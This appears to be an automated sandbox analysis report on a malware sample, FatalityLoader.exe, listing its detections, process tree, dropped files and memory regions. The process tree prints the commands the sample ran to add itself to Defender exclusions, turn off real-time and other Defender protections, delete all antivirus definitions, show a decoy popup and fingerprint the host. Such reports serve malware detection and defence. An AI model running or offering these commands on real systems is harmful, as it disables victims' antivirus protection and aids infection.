Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 00:56

General

  • Target
    FatalityLoader.exe
  • Size 11.8MB
  • Sample260701-bac7lsdv6s
  • SHA256 ce2bbeb72302a0b2666008d8983c21f23a1a0d3fe73a69952d92587cd36cbe19
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 20 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5884
    • C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:6080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityLoader.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3876
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:6576
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Answer for the new loader on fatality.win', 0, 'Version outdated :(', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Answer for the new loader on fatality.win', 0, 'Version outdated :(', 0+16);close()"
          4⤵
            PID:3944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6240
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6552
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4592

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
          • MD5 SHA1 SHA512 TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\VCRUNTIME140.dll
          • Size 117KB
          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\VCRUNTIME140_1.dll
          • Size 48KB
          • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_bz2.pyd
          • Size 51KB
          • SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_ctypes.pyd
          • Size 67KB
          • SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_hashlib.pyd
          • Size 38KB
          • SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_lzma.pyd
          • Size 88KB
          • SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_queue.pyd
          • Size 28KB
          • SHA256 ef2c488ec5d544b217a4efdb02e699610333e6cab146084db418d9b5c7e143fa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_socket.pyd
          • Size 46KB
          • SHA256 b4de3cbb5096a2845398989269bb4dc6924b720e4c999e9458608864f2b0cf4a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _sqlite3.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_sqlite3.pyd
          • Size 61KB
          • SHA256 cffdf0710c1a935043b10af50374bb01aceb71609ecdad2498cecee69fbd7ded
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_ssl.pyd
          • Size 69KB
          • SHA256 6dc920a676cfcd97ff95c90c5890930d245f8cf298d48177fc4a206cf0c8f76c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_wmi.pyd
          • Size 30KB
          • SHA256 e8a04aff683766570dae911bfc19ec31cb2bb97a9e10bdee78d9d60c98198923
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\_zstd.pyd
          • Size 176KB
          • SHA256 63c5e33d54f99d74219a09743a87904926fdd75e013ca23abc5ca04683842fd0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\base_library.zip
          • Size 1.3MB
          • SHA256 661a269f93ca9ebf1cc7693e590acee2fd6e2ab12888b38caecd9e1620e5b221
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\blank.aes
          • Size 98KB
          • SHA256 2271343c5e5f44fe7d5e6b6402bd4de1b147eab45def19ca6ea2035dab766cb5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\blank.aes
          • Size 98KB
          • SHA256 862c7dfd1dff0f8d0cd2caa2b7d4184593a07fe53fb8a10b93edcf4a6643ec72
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\libcrypto-3.dll
          • Size 1.6MB
          • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\libffi-8.dll
          • Size 29KB
          • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\libssl-3.dll
          • Size 369KB
          • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python314.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\python314.dll
          • Size 1.9MB
          • SHA256 db6ce6906d8f9c758d3ad3411198d867dcc300ebca3b51fba487f9725082707f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\select.pyd
          • Size 28KB
          • SHA256 092dc7a764d800c088091d5da4fa38802ee29a875551c949e2eafde75047ea9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Lorem ipsum.txt

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
          • Size 1KB
          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
          • MD5 SHA1 SHA512 TLSH

          sqlite3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\sqlite3.dll
          • Size 663KB
          • SHA256 dcd24a28b0064b3df0b065ecc6c41a5d2c75522b3776526598d022428172a116
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ucrtbase.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\ucrtbase.dll
          • Size 1.1MB
          • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI58842\unicodedata.pyd
          • Size 277KB
          • SHA256 af117c8d84fd18da9e5d73f27c429717254a0fec3af56f971861f97a6710e7a4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_fw3ifbgo.dd4.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fw3ifbgo.dd4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3716-150-0x0000019A30800000-0x0000019A30822000-memory.dmp

          memory/3716-172-0x0000019A30BB0000-0x0000019A30BBA000-memory.dmp

          memory/3876-170-0x0000014234800000-0x000001423481E000-memory.dmp

          memory/3876-171-0x0000014234820000-0x00000142348D2000-memory.dmp

          memory/6080-100-0x00007FFFB8D90000-0x00007FFFB8D9D000-memory.dmp

          memory/6080-91-0x00007FFFB8E50000-0x00007FFFB8E6A000-memory.dmp

          memory/6080-122-0x00007FFFB9320000-0x00007FFFB932F000-memory.dmp

          memory/6080-117-0x00007FFF9E840000-0x00007FFF9EF4D000-memory.dmp

          memory/6080-118-0x00007FFFB3A40000-0x00007FFFB3A5A000-memory.dmp

          memory/6080-119-0x00007FFFB3950000-0x00007FFFB3986000-memory.dmp

          memory/6080-120-0x00007FFFB8FA0000-0x00007FFFB8FC9000-memory.dmp

          memory/6080-131-0x00007FFFB8E50000-0x00007FFFB8E6A000-memory.dmp

          memory/6080-133-0x00007FFFB3920000-0x00007FFFB3946000-memory.dmp

          memory/6080-136-0x00007FFF9DC40000-0x00007FFF9DDCA000-memory.dmp

          memory/6080-135-0x00007FFFB8E20000-0x00007FFFB8E4C000-memory.dmp

          memory/6080-111-0x00007FFF9E200000-0x00007FFF9E831000-memory.dmp

          memory/6080-140-0x00007FFFB5340000-0x00007FFFB534D000-memory.dmp

          memory/6080-139-0x00007FFFB8DA0000-0x00007FFFB8E20000-memory.dmp

          memory/6080-109-0x00007FFFB6C40000-0x00007FFFB6C54000-memory.dmp

          memory/6080-143-0x00007FFF9DB80000-0x00007FFF9DC3E000-memory.dmp

          memory/6080-104-0x00007FFFB6D30000-0x00007FFFB6D3F000-memory.dmp

          memory/6080-97-0x00007FFFB8DA0000-0x00007FFFB8E20000-memory.dmp

          memory/6080-94-0x00007FFFB8E20000-0x00007FFFB8E4C000-memory.dmp

          memory/6080-123-0x00007FFF9F550000-0x00007FFF9F6A3000-memory.dmp

          memory/6080-86-0x00007FFFB8FA0000-0x00007FFFB8FC9000-memory.dmp

          memory/6080-179-0x00007FFFB8D90000-0x00007FFFB8D9D000-memory.dmp

          memory/6080-180-0x00007FFFB6D30000-0x00007FFFB6D3F000-memory.dmp

          memory/6080-181-0x00007FFFB6C40000-0x00007FFFB6C54000-memory.dmp

          memory/6080-178-0x00007FFFB8DA0000-0x00007FFFB8E20000-memory.dmp

          memory/6080-177-0x00007FFFB8E20000-0x00007FFFB8E4C000-memory.dmp

          memory/6080-176-0x00007FFFB8E50000-0x00007FFFB8E6A000-memory.dmp

          memory/6080-174-0x00007FFFB8FA0000-0x00007FFFB8FC9000-memory.dmp

          memory/6080-175-0x00007FFFB9320000-0x00007FFFB932F000-memory.dmp

          memory/6080-173-0x00007FFF9E840000-0x00007FFF9EF4D000-memory.dmp

          memory/6080-186-0x00007FFFB3920000-0x00007FFFB3946000-memory.dmp

          memory/6080-182-0x00007FFF9E200000-0x00007FFF9E831000-memory.dmp

          memory/6080-189-0x00007FFF9DB80000-0x00007FFF9DC3E000-memory.dmp

          memory/6080-187-0x00007FFF9DC40000-0x00007FFF9DDCA000-memory.dmp

          memory/6080-188-0x00007FFFB5340000-0x00007FFFB534D000-memory.dmp

          memory/6080-184-0x00007FFFB3950000-0x00007FFFB3986000-memory.dmp

          memory/6080-183-0x00007FFFB3A40000-0x00007FFFB3A5A000-memory.dmp

          memory/6080-185-0x00007FFF9F550000-0x00007FFF9F6A3000-memory.dmp

          memory/6080-88-0x00007FFFB9320000-0x00007FFFB932F000-memory.dmp

          memory/6080-80-0x00007FFF9E840000-0x00007FFF9EF4D000-memory.dmp